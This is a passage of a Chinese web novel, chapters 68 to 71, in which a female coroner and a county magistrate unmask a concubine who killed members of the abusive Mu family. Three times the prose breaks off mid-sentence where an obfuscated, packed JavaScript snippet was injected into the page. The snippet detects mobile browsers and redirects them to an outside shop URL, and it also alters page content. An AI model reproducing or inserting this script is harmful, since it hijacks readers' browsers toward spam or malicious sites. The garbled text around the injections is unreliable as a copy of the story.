“凶手似乎对穆大与穆二娘格外地憎恶,一个掏了内脏,另一个则是生生断了双脚。”月夕伸手点了点写着三人死因的文字,认真道,“但这应该是一起连环杀人案。” 王珏微微颔首,示意她继续。 月夕道,“死者小宝的尸首是第二日一早被发现的,可据我观察,他应该是丑时左右毙的命,去穆二娘院子时我看了一眼死者小宝的屋子,卧室分里间和外间,想来那个外间该是伺候他的下人休息之处。再官穆大之死,” 她用食指在纸上写着穆大死因出圈了一个圈,“虽然是在众目睽睽之下,但这三人的死因却都另有相同之处。” 她抬头看向王珏,清澈的眸子似是在发着光,“凶手非常清楚三人的习性。” “穆二、穆金花,穆村长,侍婢,小厮,还有那些妇人?”王珏问。 月夕点头,“都有可能。” 王珏抿唇一笑,“若是如此,怕是很难排查了。” 月夕浓密的睫毛微微颤了颤,“我还想去穆二娘的屋子看看。” 王珏点了点头,道,“密室杀人确实是个突破点,不过,若是能从那些人口中问出些什么,那自然是最好不过。” 说到此处,王珏皱起了眉,在穆村长的授意之下,不用等明日,只今晚,穆家上下所有人怕是都会守口如瓶,根本问不出什么来。 月夕也跟着叹了口气,“若是询问不得,便就无法知晓凶手的杀人动机了。” 一般情况之下,凶手杀人无外乎四种动机,钱、权、情、仇,可凶手为何要杀小宝这么一个孩子? 是夜,月夕和衣躺进了床榻,大抵是白日里太累的缘故,刚闭上眼,她便沉沉地睡了过去。 熟悉的窒息感再次袭来,这一回,月夕站在了水面上。 眼前是一艘燃着熊熊烈火的大船,船尾处被周围的船撞得稀碎,有无数黑衣人跳上了那艘大船。 不多时,一个妇人拉着一个小娘子从船舱里跑出来,两人面容模糊,但月夕知道,那个小娘子该是自己。 妇人原本想带她离开,可无奈火势越来越大,而黑衣人越来越多,她们几乎寻遍了逃跑方向,却是寸步难行。 黑衣人看准时机,抬起手中的弩箭,刷刷刷地便往她们而去,妇人见状,将月夕死死护在了怀里。 妇人的背上插满了箭,可她依旧忍着痛将月夕护到了安全的地方,然而黑衣人实在太多了,妇人想护她却根本护不住。 正当黑衣人的弩箭再次下手之际,有一个男子冲了出来,男子身上全是伤,拉起月夕继续跑。 月夕想回头拉妇人,谁想妇人却毫不犹豫地拿出火折子点燃身上的衣裳,转身抱住了领头的黑衣人人的腿。 她就像是一块黏土,牢牢地在黑衣人身上黏住了,黑衣人见状,毫不犹豫地拿起手里的弩箭,往她的头顶射了过去。 她死了。 可月夕依旧看不清她的样子。 护着她的男子也身受重伤,有箭从四面八方飞来,大部分被他给接下了,他边护着她边在她耳边说着话,可她却在他怀里哭着喊着。 月夕听不见她在喊些什么,但她知道,彼时男子怀里的她很是痛苦。 她试着走近些,想看清楚那男子的面貌,可船上的火势越来越大,还没近前几步,巨大的火舌便已经将船上的两人吞没。 “原来你在这里!” 话音刚落,本该待在船上的黑衣人突然出现在在她眼前,他们一个个拿着弩箭,死死将她围住。 月夕想问他们是谁,还未开口,为首的黑衣人便一声令下,无数箭矢夺弦而出,正中她的心脏。 又是那熟悉的窒息与失重感,哗啦一声,月夕再一次被丢进了水里,无尽的水流从四面八方挤压而来,月夕眼见着投进水里的火光跟着呼吸一点一点消失…… 月夕猛地从床榻上惊醒过来,天光沿着窗缝射进屋内,缓了好久,她才勉强找回自己的思绪。 这个梦又来了。 整理好思绪之后,月夕才走下床榻,此刻天光已经大亮,打开屋门时,便有几缕阳光照在了她身上。 深秋早日的阳光,谈不上暖和,尤其带着一阵风,竟让她浑身一颤。 “怎么不披件衣裳?”王珏不知何时出现在她屋子门口,他手里还端着一只碗,碗里似是盛着一些热气腾腾的东西。 月夕搓了搓手,道,“这是什么?” “馎饦。”王珏道,“今早刚做的,吃吗?” 月夕点头,并要伸手去拿,王珏却往后躲了躲,朝廊下一指,“热水已经备好了,先去暖暖手。” 月夕没想那么多,哦了一声便顺着他的话过去了,不一会儿,她便洗漱好乖巧地坐在了廊下,等着王珏给她送馎饦。 王珏微微一笑,将馎饦放在她的案上,柔声问:“昨晚睡得不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12928653|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好?” 月夕微怔,没有否认,只嗯了一声,端起碗便吃了起来。 王珏从未见过如此乖巧地月夕,新鲜之余,温柔地给她备了一杯新鲜的牛乳茶,等到她吃完,才将茶与巾帕递过去。 “可是为了案子?”他问。 暖暖的一碗酸辣馎饦下肚,月夕瞬间觉着自己的五脏六腑都跟着暖和了起来,她用巾帕擦了擦嘴,又拿了牛乳茶喝了一口。 牛乳茶的清爽之感正好将馎饦的酸辣之味抵了抵,只将美味留在了味蕾之上,月夕想了想,竟是将杯里的牛乳茶一饮而尽。 “我想先去穆二娘的屋子看看。”月夕刚将杯盏放下,就同他说道。 王珏微微一顿,看来她是不想同他讲昨夜之事,于是他点点头,“好。” 两人再一次来到了穆二娘的屋子,由于昨晚吩咐过,这屋子被上了锁,屋外守着的小厮见两人来了,立刻掏出钥匙给他们开了门。 有天光照射,屋子里的一切一览无余,月夕细细查了一圈,叹了口气,喃喃道:“果然被人动过了。” “不仅动过了,而且还动了两回。”王珏站在床头,盯着架子上的龙形花瓶。 月夕闻声而至,亦是眯了眯眼。 架子上的那只花瓶上的龙形此刻正对着南面,昂着首涎着珠,一副洋洋自得。 “昨晚我们走后,有人来过。”月夕肯定道。 王珏躬身近前,将那龙形花瓶细细看了一圈后,小心翼翼地将龙嘴里的珠子取下,捏在手中细细看了许久,“做工不算精细,但这珠子,倒是颗货真价实的金珠。” 言罢,他将珠子放回龙嘴,作势要将那花瓶也拎起来看看,谁想刚握住瓶颈他便愣住了。 月夕问,“怎么了?” 王珏微微摇头,似是再次使了些劲儿,终于将那瓶子拿了起来。然而由于瓶子质量过重,才刚被拿起来,又被他放了回去。 “一大早便寻二位不见,没想到竟是在这。”门外传来了穆金花的声音,她一脸堆笑,丝毫看不出昨日的恐慌,“不知两位可查出些什么?可需要奴寻些人来帮忙?” 月夕只看了她一眼,又继续在屋子里细细观察了起来,王珏掏出巾帕,边擦手边走到穆金花面前,居高临下问道:“也不知穆二娘做的是什么生意?” 穆金花斜斜得靠在门框上,一双眼睛微微眯着,眼神里尽是勾引,“郎君不是瞧见了么?这满屋子的瓶子,都是她的生意,听闻好些京城的达官贵人都很喜欢她的瓶子呢。” 说着,她翻了个白眼,很是不屑,“不过是些普通瓶子罢了,集市上一文钱就能买到一个,也不知那些达官贵人是不是患了眼疾,竟能看上她的东西。” “这些瓶子是她自己烧的?”王珏又问。 “那倒不是。”穆金花道,“听闻是出自对面罗泗县的瓷厂,她也不过是和大郎做些倒卖的生意。不过……” 她道,“她手里似是有什么秘方。” 王珏:“何以见得?” 穆金花掩嘴一笑,“你以为大郎是真心喜欢她啊?若不是手里的秘方,她不知道死多少回了。” 69. 柴刀 “穆大院子里的那些女子,是从何处来的?”王珏又问。 穆金花没想到他会问这些,先是一愣,随即又笑了起来,“那些小娘子自然是大郎娶回来的呀,郎君不会以为她们是被拐来的吧?若当真是被拐的,她们也该整日里嚷嚷着逃才对啊。您说是也不是啊,苏郎君?” 王珏唇角微微一勾,“穆大娘子说得在理。” 王珏本就生得好看,唇角微微一勾之时更有一种魅惑气质,穆金花看得有些懵,好半晌才寻回自己的声音,“阿爷和二郎都出去了,厨房备了些朝食,郎君和娘子要不要先用些?” “不必了。”月夕忽然从里头走了出来,“听闻当日小宝死前,穆大娘子曾去送过点心?” 穆金花又是一愣,忽而站直身子连连摆手,“苏娘子,我可没害他啊,小宝虽然顽劣,但谁让他是二娘的儿子,我们巴结都来不及,哪里敢害他?” 月夕定定地看着她。 穆金花连忙补充道,“是,我的确是送过点心,那天下午小宝来寻我家枝儿叶儿玩耍,瞧见我给枝儿叶儿准备的点心,他很喜欢,我便连忙给他做了些,那些点心我枝儿叶儿也吃的!” “你的意思是,有人故意给小宝下毒,然后栽赃给你?”月夕挑眉。 穆金花神色沉了沉,“苏娘子这么一说,倒也不是没有这种可能!也不知是什么人恨我入骨,竟要用如此手段栽赃于我!” 月夕不以为然地走出屋子,朝小宝的屋子而去,“也不知穆大娘子能否同我说说,那日你是如何将点心送过来的?” 跟在后头的穆金花满是防备地顿了顿,“苏娘子这是在怀疑我?” 王珏默默地看着月夕的背影,眼底闪过一丝宠溺的笑,“穆大娘子莫要慌乱,舍妹不过是想请穆大娘子还原一下案发现场罢了。” 穆金花这才舒了口气,随着两人走到小宝屋子的门口,“那日我就将装着点心的食盒放在此处,眼看着屋子里的小厮将食盒拿进去,我才走的。” “可听见屋子里有其他动静否?”月夕问。 穆金花挑眉,“还能有什么动静?二娘不知从何处给小宝寻来了一把长刀,他一个人拿着长刀在屋子里割兔子玩儿呢。” 月夕冷哼一声,径自进了屋子。 屋子里明显被人收拾过,所有玩具都好好地摆在阁架上,床榻也整整齐齐凌乱不见,但依旧能闻到一些淡淡的血腥味。 与她猜想的一样,屋子分里间和外间,外间该是照顾小宝的小厮休息的地方。 她问:“屋子里的小厮现在何处?” 穆金花不屑地笑了笑,“还能在哪儿?以二娘那个脾气,那两个小厮没护好小宝,自然是不能留的。” “去了哪里?”月夕问。 穆金花道:“自然是送给河妖了呀。” “你可知那长刀是何模样?” “这我哪里知道?”穆金花道,“不就是普通长刀的模样么?不过,那晚我透过门缝瞧了一眼,小宝手里的那柄长刀似是与普通长刀不大一样。” “有何不同?” “说不上来。”穆金花回忆了一会儿,“许是我瞧错了,总觉着比普通的长刀更细些,更糙些。大抵是底下人为了交差,随便从哪儿拿的呢。管他呢,小宝玩儿得尽兴就成。” 说着,她双手环胸又懒懒地往门框上一靠,朝站在一旁的王珏微微一笑,“京城来的郎君娘子还真是见多识广,听闻两位是商户?也不知做的什么生意呀?” 月夕别过脸继续查看屋子里的详情,王珏抿唇暗自摇了摇头,随即答道,“不过是些医药的买卖。” 穆金花恍悟,又啧啧了几声,“这可是好买卖啊!奴家一个寡妇,无依无靠的,也想寻些买卖来做,也不知苏郎君可有什么建议?” 王珏轻抬眼皮,似笑非笑,“穆家大郎与穆二娘两人手头都有些生意买卖,所谓近水楼台,穆大娘子何必来问在下?” 此话似是取悦了她,她笑得有些合不拢嘴,好半晌,才道,“苏郎君这是在打趣奴家呢!” 她顿了顿,又道,“不过二位既是商户,竟也懂这验尸推理之道,还真是神奇。” “商户自然不懂验尸推理之道。”正说着,院外传来了穆村长的声音,两人朝那边望去,却见穆村长正带着几个小厮缓缓走来。 “阿爷。”穆金花吓得立刻直起身子,走到穆村长身边,“您怎么过来了?” 穆村长瞥了她一眼,随即他那锐利的眼神落在了王珏身上,“竟不知黎阳县尊在此,老朽有失远迎,还望县尊勿怪。” “什么?”穆金花惊诧,“阿爷,他……他便是新上任的那个县令?那里面那位是?” 王珏于门口站定,高大的身形正好将屋子里的月夕挡了个严实,那股属于上位者的气势忽然显露,“里面那位,是我黎阳县衙仵作。” “仵作?女仵作?”穆金花不可思议,“县衙怎地竟有女仵作?” “县衙为何不能有女仵作?”王珏微微挑眉,朝穆村长拱手道,“黎阳县衙现任县令王珏。” 穆村长躬身还礼,“也不知王县尊突然到访我龙雨村,所为何事?不会是专程来为小老儿那两个不争气的子女找寻真凶的吧?” 他虽说得客气,但语气却明显不善,隐约有赶人的意思,与昨日判若两人。 正此时,一个少年从门外匆匆跑了进来,直到穆村长面前才停下,“祖父,门外来了三个人,其中两个自称姓苏,还有一人自称姓纳兰,说是想登门拜访。” “根儿,你怎地过来了?”穆金花一个箭步近前,将那少年拉到自己身边,“这种事让下人过来报便是了,你来作甚?还不快回去?” “怎么?根儿便不是我穆家的子孙了?”穆村长瞪了穆金花一眼,转而又似笑非笑地看向王珏,“实在是巧了,又来了两位姓苏的,王县尊可要一道去瞧瞧?” “好啊。”王珏还未发话,在里头一直不说话的月夕突然走了出来,站到王珏身边,“还劳烦村长将所有人都叫上。” 王珏的眸光瞬即柔和了下来,他靠近了一些,问道,“有眉目了?” 月夕颔首,“还差最后一步。” “既如此。”王珏看向穆村长,“还请村长行个方便吧。” 深秋的风总是在不经意间生出刺骨的寒,穆二娘的庭院中站满了人。 站在最前头的是方才在院子里与王珏叙话的穆金花,此刻的她不再是方才的轻挑模样,而是正着色护着身后的三个孩子。 其中两个是垂髫小娘子,剩下那个则是方才来报信的那个叫连根儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13025029|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的少年。 她身边站着五个妇人,正是穆大死前见的那几个。 除此之外,庭院中站着的便是守院子的下人以及之前跟着穆金花一道破门的几个护卫。 王珏于正座上端坐,一左一右分别坐着穆村长与月夕,月夕身侧则是坐着一个身着粉衣的少女,她似是初次见如此情形,正左顾右盼地看着,惹得她发髻上的簪蝶翅一扇一扇的,仿佛活过来一般。 苏朗依旧是如一只绚烂的野鸡站在苏兰身后,与一身素服揣着手站着闭目养神的纳兰羿形成了鲜明的对比。 苏兰看了一圈,挽着月夕的胳膊往里靠了靠,“月夕姊姊,真凶当真在这群人里吗?” 月夕一直默默地看着庭院,仿佛没听见苏兰的话,一旁的苏朗暗中拉了拉苏兰的衣袖,道,“噤声,莫要打扰人家月娘。” 苏兰讨厌地瞥了他一眼,又往月夕靠了靠。 月夕仿佛这才缓过神,看了一圈后,轻抬眼皮,朝王珏看了一眼。 王珏正往她看过来,俩人的视线正巧对上,他唇角微微一勾,朝她温柔一笑。 “人已经都叫来了,也不知王县尊何时开始审案?”穆村长轻咳了几声,道,“家中丧事在即,死者为大,可莫要误了吉时。” “不会。”月夕豁然起身,冷冷地回了一句。 她忽然起身,苏兰险些摔倒在地,好在月夕迅速转身,顺手将她扶了起来。 待苏兰稳坐,月夕这才走出坐席立于庭中,“但在此之前,还请穆村长着人去拿一样东西。” “何物?”穆村长眯了眯眼,满是防备。 月夕道,“一把柴刀。” 穆村长蹙眉,“娘子的意思是?” “自然是凶器。”月夕道。 穆村长很是疑惑,穆大穆二娘与小宝身上都是被什么东西啃食的,与柴刀有何关联? 他不确定,再问:“敢问,只是一把普通的柴刀?” “是。”月夕点了点头,认真道:“劳烦穆村长着人随便拿一把过来便是。” “随便?”穆村长更疑惑了,他扭头看向王珏。 王珏端坐在席间,道:“有劳穆村长。” 穆村长还想再问一问,谁想月夕转过身,朝庭中众人走去,他只好作罢,让身边的人去取柴刀。 许是站在冷风中有些吃力,穆金花显得有些不耐烦,看到月夕朝她们走来,她将三个孩子护在身后,眉眼中不再有之前的和颜悦色。 “我说这位仵作小娘子,我们人都已经到了,你怎地还不打算抓凶手?难不成你做这一套把式是专门耍人的不成?” 在场众人只有她的身份才能这般说,但这不代表其他人不是这么想的。 几乎庭中站着的所有人脸上都是不耐烦之色,碍于王珏与穆村长在场,皆敢怒不敢言。 “穆大娘子莫慌,总会轮到你的。”月夕语气淡淡,但那双清澈的眼眸却莫名带着一种能查破一切的能力,叫众人心里一慌。 穆金花更是怒道,“你大胆!” “好了。”穆村长拦下穆金花,紧皱起眉,语气很是不善,“敢问这位仵作娘子,杀了我儿孙的凶手到底是谁?” 月夕扫视了一圈,在一众焦灼又慌张的目光里,最终将视线落在了一个人身上。 70. 何故来此 被月夕看着的贞娘猛地一愣,抬起头不知所措地看了过去,“这位……娘子,你……” 她“你”了许久,始终说不出半句话,大约是惊诧的,又或许是词穷,一时不知该说些什么。 “这位仵作娘子,贞娘可是大郎最宠爱的妾室,你可莫要空口污蔑。”穆金花道。 月夕没有理会穆金花的话,只走向贞娘,依旧是那副平淡的模样,“起初我一直弄不懂你为何要杀小宝,小宝虽然顽劣,但终究只是个头脑心智都没长全的孩子,就算对人有所得罪,也该由穆二娘负责,可你依旧杀了他,还伪装成了被河妖咬死的假象。” 庭院中的众人不知她会说出这番话,一个个目瞪口呆,独自捋着月夕话语里的内容。 苏兰与苏朗头一回来,又是个爱凑热闹的急性子,在众人无话之隙,两人不约而同地回了一句,“是呀,那她为何要杀了那个孩子?” 正此时,被穆村长叫下去拿柴刀的奴仆走了过来,他手里拿的是一把最普通不过的柴刀,约五寸长两寸宽。 月夕接过柴刀,掂量了一下,递到了穆金花面前,“敢问穆大娘子,当晚你见着的那柄长刀,比之这一把柴刀如何?” 穆金花原本就很是不悦,被她这么一问,本能地想要拒绝回答,谁想余光扫到了穆村长那双锐利的眼睛,倏地老实了。 “大约……大约比这把柴刀更长一些,更细一些,看形状,做工似是也略有粗糙。”说完,她便拉着三个孩子往后退了好几步,免得再次被月夕叫到。 月夕微微颔首,转身朝王珏看了一眼。 王珏会意,站起身来,也不知从何处掏出一根长棍子,给月夕递过去。 月夕接过,再次问穆金花,“穆大娘子,那这个呢?” 穆金花本就被她问得不耐烦,可看到月夕手里的那根长棍子时,她愣住了。 这不过是根普通的木头棍子,可无论是形状、样式、轮廓、长短,看上去与那日小宝手里拿着的长刀很是相像。 可是,月夕手里的这根是木头棍子啊! 穆金花细细打量了许久,才道,“像。这是何物?” “凶器。”月夕道。 穆金花突然觉得有些好笑,这不过是根普通得不能再普通的棍子,怎么就成了凶器?而且她记得十分清楚,那日瞥见的长刀是开了刃的,那只兔子在小宝的手里几乎是血肉模糊。 “仵作娘子,你这是在开什么玩笑?一会儿说柴刀是凶器,一会儿说这个东西是凶器,你要说柴刀是凶器,倒是挺可信,可你说这根棍子是凶器,”穆金花道,“那未免有些欺负人了。” “凶器自然不会是根木头。”月夕道,“而是这种样式的瓷棍。” 毫无疑问,在场众人几乎没几人听懂她的话。 月夕也不管他们听不听得懂,继续道,“小宝性情残暴,在此之前曾想要抢夺衙门捕快的刀,未果后,穆二娘认为小宝被欺负,当晚便指使人往我们的饭菜里下蒙汗药,并将我们送去河妖之所,这足以见得穆二娘对小宝的宠溺。” 这段话月夕说得十分平静,在场之人的脸色却有些不大好,尤其是穆村长,脸都绿了。 月夕继续道,“穆二娘自然是想要给小宝再寻一把刀,普通的刀小宝定然看不上,是以穆二娘给他寻了一把制式形状都不普通的长刀,只可惜……” 她将手里的木头根子举得高高的,“这是一把有主的刀。” 此刻,不仅仅是穆金花,就连苏兰与苏朗都觉着有些不可思议,她手里明明拿着的是一根没有什么杀伤力甚至连刃都没有的棍子,怎地就是刀了呢? “听闻这几年,穆大对一个人很是专宠,几乎是她要什么就给什么,此人也很是懂事,帮着穆大做了许多事情,俨然成了穆大院子里的半个管事。” 月夕说着,看向人群中那个一言不发的贞娘,“穆二娘做的是瓷器买卖,若是按照这根棍子的样子做一套瓷器也未尝不可,只是府上除了穆大,没几个人能说动她做此事。” 一旁的苏朗恍然大悟,连连拍手:“这么说便都对上了!这位娘子仗着得宠,让穆大求穆二娘帮她做这个东西,这也能解释为何穆二娘知道府上会有这么个东西,特地找寻过来给小宝玩。只是……” 苏朗挠了挠头,“这到底是个什么东西?若只是把凶器,穆大也不会应吧?” 月夕将木棍朝王珏递了过去,“劳烦县尊说说,您是从何处寻来的此物?” 王珏清了清嗓子,声音依旧温润,“早间路过穆大院子,瞧见偏院里放了几张织布机,觉着机器里藏着这么一根棍子很是好奇,便顺手抄起来瞧了瞧。” 众人脸色微沉,这哪里是顺手,分明就是特意去拿的,可即便如此,众人也不敢质疑,只是脸色更凝重了些。 月夕缓缓走近贞娘,问:“敢问那些织布机可是你提议主张制的?” 贞娘一直低着头不言语,直到月夕相问才缓缓有所动静。 她只微微抬起头来,眼眶里隐隐含着一层泪水,显得很是无辜,“回娘子的话,我只是瞧着姊妹们成日里在家带着孩子无趣的很,便想着法子叫姊妹们有些事做,如此难道错了吗?” 她不疾不徐,言语里却满是质问,“娘子口口声声说我是凶手,织布机中的机械是凶器,敢问证据呢?证物又在何处?如此空口白牙就冤枉人,小女子不服。” “莫急。”似是料到她会这么辩驳,月夕只淡淡扫了她一眼,“证据稍后自会呈上,只是在此之前,还请贞娘子回答我一个问题。” 贞娘:“娘子请说。” 月夕:“你们来自何处,何故来此?” 只这六个字,在场众人皆面面相觑鸦雀无声。 好半晌,穆金花才开口:“仵作娘子,你这是什么意思?难道是怀疑大郎拐卖良家女不成?” “正有此意。”月夕看都不看她一眼,只定定地问贞娘,“贞娘子,你们来自何处,何故来此?是被拐来此还是被卖来此?” 哐当一声响,穆村长手里的杯盏不知何时被摔在了地上,庭院中站着的众人皆是被吓得浑身一震。 穆村长苍老的声音再次响起,“原以为王县令有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037087|125043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 断案手段,没成想也仅凭臆想,真叫人大开眼界。” 王珏将穆村长的冷嘲热讽全盘接下,似笑非笑道:“怪只怪与村长合作的袁正奎是个拐卖重犯,本县如此行为也不过是想替穆大郎洗脱嫌疑罢了,还是说,村长以为本县做得不妥当?” 穆村长没想到王珏会搬出袁正奎,微微一愣,随即道,“王县令做事自然有王县令的道理,只是我家大郎已然故去,还求给他留些颜面。” 说着,他朝那些妇人道,“你们都是大郎疼爱过的妾室,如今大郎已然故去,你们若是想留,穆家便管你们吃喝,你们若是不想留,穆家也会各自给你们备一份盘缠,送你们回去。” “阿爷!”穆金花道,“这些女子整日里只知道白吃白住的,她们想走便走罢了,怎地咱家还要再倒贴不成?” “住嘴!”穆村长瞪了她一眼,又看向王珏,“不知老朽此举王县令觉着如何?” 王珏微微一笑,“倘若她们都是穆大郎正道娶回的良家女,如此处置自然是好的。但若……” “但若她们当真是杀害我儿的凶手,”穆村长眼里似是冒出一团熊熊烈火,“老朽定会让她们一个个付出代价。” 月夕静静地看了眼贞娘,又看了眼她身后站着的其他几个妇人,不知为何,心里开始纠结了起来。 见她迟迟没有动静,穆村长站了起来,“仵作娘子,还请拿出证据,点名真凶是谁!” “不必问了。”贞娘从人群中走了出来,眼里的无辜与可怜早已不在,她环顾了一圈,最终坚毅的眼神落在了穆村长身上,“凶手正是我。” 月夕心尖猛地一揪,她突然觉着自己似乎做错了事。 贞娘道,“仵作娘子说的没错,小宝的确是我杀的,察觉到织布机上零件不见之后,我立刻就去寻了小宝,谁想小宝不但不还,甚至还想学大郎,让我……” 她虽没说明,但众人依旧面色有异,穆大调|教人用的什么手段所有人都心知肚明,小宝不过是个孩子,竟连这个都学了,真叫人唏嘘。 贞娘冷笑一声,继续道,“小宝的脾气谁不清楚?我只好假装同意,原想着哄住小宝后,给屋子里的人下蒙汗药,就能将东西拿回来,没想到大娘来了。” 穆金花惊诧:“那晚的兔子……” “是我。”贞娘道,“还好他只是个孩子,力气不大,要不然我怕是早就死了。” 她叹了口气,“大娘走后,我这才有机会给小宝与他的小厮下药,没成想小宝根本不惧那药,甚至要扬言去大郎处告我的状,无奈之下,我只好……只好向他出了手。” “二娘也是如此。”她道,“小宝屋子里找寻不到那零件,她自然就怀疑到了我的头上,她想要杀了我,我自然要先下手为强。你们兴许不知道,二娘屋子里有一处暗室。” “这该是仵作娘子说的证据吧。” 她看了眼月夕,继续道,“当日我就是躲在暗室中,等着你们来破门,随后再找寻机会逃走的,没想到还是被察到了蛛丝马迹。” “不仅如此,穆大也是我杀的。” 71. 暗室 虽说此事众人早有猜测,但亲耳从她口中听到真相,亦是震惊。 贞娘旁若无人,继续往下说:“是药三分毒,更何况是那种东西,我虽不知他后来给的新药药效那般强,但只要吃多了,他必定出事,是以,我便趁着他神志不清,怂恿他吃下一颗又一颗,直到变得癫狂。” 她的眼眶微微有些发红,“是,穆大清醒的时候待我确实很好,我想要什么他就给什么,可他是畜牲也是事实!为了满足他的兽|欲,几乎是每晚,我不知要遭受多少罪。四个!我原该有四个孩子!可……” 说到孩子,她的泪水终究还是没止住,夺眶而出,“可怜我的孩子们,至今都未曾睁开眼看看这个世界。” “不过是孩子罢了,只要大郎还在,以后总会有的,而且院子里的那些孩子都是大郎的孩子,只要你说一声,也不就是你的孩子么?”穆金花叹了口气,“你实属不该杀了他。” 贞娘有些惊诧地看了眼穆金花,顿了一会儿后突然笑了起来。 穆金花被她笑得有些毛骨悚然,不由得又我退了半步,“你怎得回事?我说的难道不对吗?” “没错,你说得很对。大娘还真是深明大义。”贞娘讽笑一声,“说起来,还要多谢大娘为我遮掩,要不然我也没机会杀了穆大。” 穆金花突然慌了,“你少血口喷人!阿爷,你莫要听她胡说,她这是在攀扯!” “要不是大娘在众目睽睽之下偷偷将暗室的口子封锁严实,我怕是早就被发现了。”贞娘道:“这还要多谢大娘呢。” “阿爷,她这是在胡乱攀咬,不能信的!” “大娘。”贞娘道:“你当我不知道你给小宝的糕点里有料吗?虽然只是些普通且份量不多的料,但若是吃多了,也是致命的。小宝这么喜欢吃你做的糕点,难免不会再问你要,届时……” “胡说!你胡说!你这个贱人!给我闭嘴!”穆金花扑了上去,欲要将她撕碎,谁想才走出半步,人却被一股力量拎了起来,才反应过来,整个人就扑通一声被丢到了地上。 穆金花还想要再挣扎一番,却听穆村长喊了一声,“闭嘴!” 庭院中又是一片寂静,没等众人反应,穆村长突然道:“来人!将这两人都带下去!” 话音刚落,等在院外的护卫蜂拥而至,将地上的穆金花与贞娘架起来带了出去。 王珏正欲询问,却被穆村长抢了先:“既然凶手已经捉到,各位便散了吧。” 他走向王珏,“二郎已经带人去寻贵属,相信不日便能寻到,还望王县令静候。接下来家中还要料理丧事,恐招待不周,还请几位莫要见怪,明日老朽便着人备上马车,亲自送几位回城。” 说着,他转身便离去了。 庭院里除了几个仆人以及苏兰苏朗纳兰羿几人,几乎都走光了。 月夕站在原地久久不语,王珏正欲近前与她说几句,才刚走了半步,月夕便猛然抬头,狠狠地瞪了他一眼。 苏兰不明所以跑了过来,只是那声月夕姊姊还没喊出口,月夕便转身朝穆二娘的屋子走去。 苏兰挠了挠头,扯了扯王珏的衣角,问,“月夕姊姊怎么了?” 王珏摇了摇头,并温柔地笑了笑,“没什么,只是生我气了。”说完,也往穆二娘的屋子走去。 刚进屋子,便见月夕蹲在床榻旁观察着什么,王珏走近前去,默默得站在她身旁。 月夕知道他进来了,只埋着头不理会,霎时间,屋子里安静地只剩下两人平稳的呼吸声。 突然咔嚓一声响,月夕似是碰到了什么开关,有什么东西将床面抬了起来,不过一瞬,床榻上的被褥枕头就被抖落到了地上。 被抬起来的床面下,竟有一个非常隐秘的空间。 想来这便是贞娘所说的暗室。 刚发觉穆二娘之死乃密室杀人时,月夕就觉着这间屋子有猫腻,直到方才贞娘主动承认屋子里有暗室,她才恍悟。 只是纵观这起案子,月夕总觉着贞娘只是一个受害者,而她自己成了穆大等人的帮凶。 月夕正要起身去寻灯烛,谁想一转身便对上了王珏那张温柔的笑脸,她蹙了蹙眉,冷声道,“劳烦县尊让我一让。” 王珏寸步不移,依旧温柔笑着,随后抱拳,朝月夕拱手,“在下向月夕娘子赔不是。” 本不打算理会他的月夕瞬即一愣。 面前此人是京城来的贵郎君,是琅琊王氏的贵公子,是黎阳县的一县之长,亦是她的直属上司。 若按常理,他该是会有很多借口加以掩饰,没成想他竟直接认了,甚至还向她致歉,这叫她忽然不知该如何是好。 王珏继续:“还望月夕娘子大人有大量,莫要生在下的气。” 月夕站在原地默默看着他,直到没从他的言语与神情中看出旁的意思来,才冷声道:“县尊大人对自己的下属都是这般怀疑考验的么?” “并不曾。”王珏如实回答。 月夕刚压下去的气焰又冒了上来,“那县尊为何要独独验我?难不成是因为我是一个女子的缘故?” “不是。”王珏道,“月夕娘子毫不逊色于任何一个男子。” 月夕挑眉,“那你为何?” 王珏看着她,眼里的温柔仿佛要掐出水来,“相较于验尸,月娘似是更喜欢探案。” 月夕倏地一愣,她想否认,毕竟验尸之术是顾宗传给她的,可是他似乎也没说错,相较于验尸,她更喜欢通过在众多证据之下推出真相的感觉。 思考片刻,她抬起头对上王珏的眼睛,“那么,县尊大人可试探出什么了?” 王珏顿了顿,随即道:“不曾。” 月夕又被他堵住了,她没好气地瞪了他一眼,正要说什么,却听王珏认真道,“不会再有下次!” 月夕咬牙,“你最好是!” 王珏扬起的唇角一直都没下来过,她虽然记不起很多事,但一些本能却依旧在,她果然就是她。 这边厢王珏心中欢喜,那边厢的月夕却是觉着莫名,明明揭露凶手一事该是他这位县令做的事,可他竟将此事落在了她头上,难不成他还有其他的事要做? 正此时,空气中飘来一股淡淡的甜腥味,月夕微微蹙眉,思考着到底是什么东西才能散发出此等味道,下一刻,她顿觉四肢麻木。 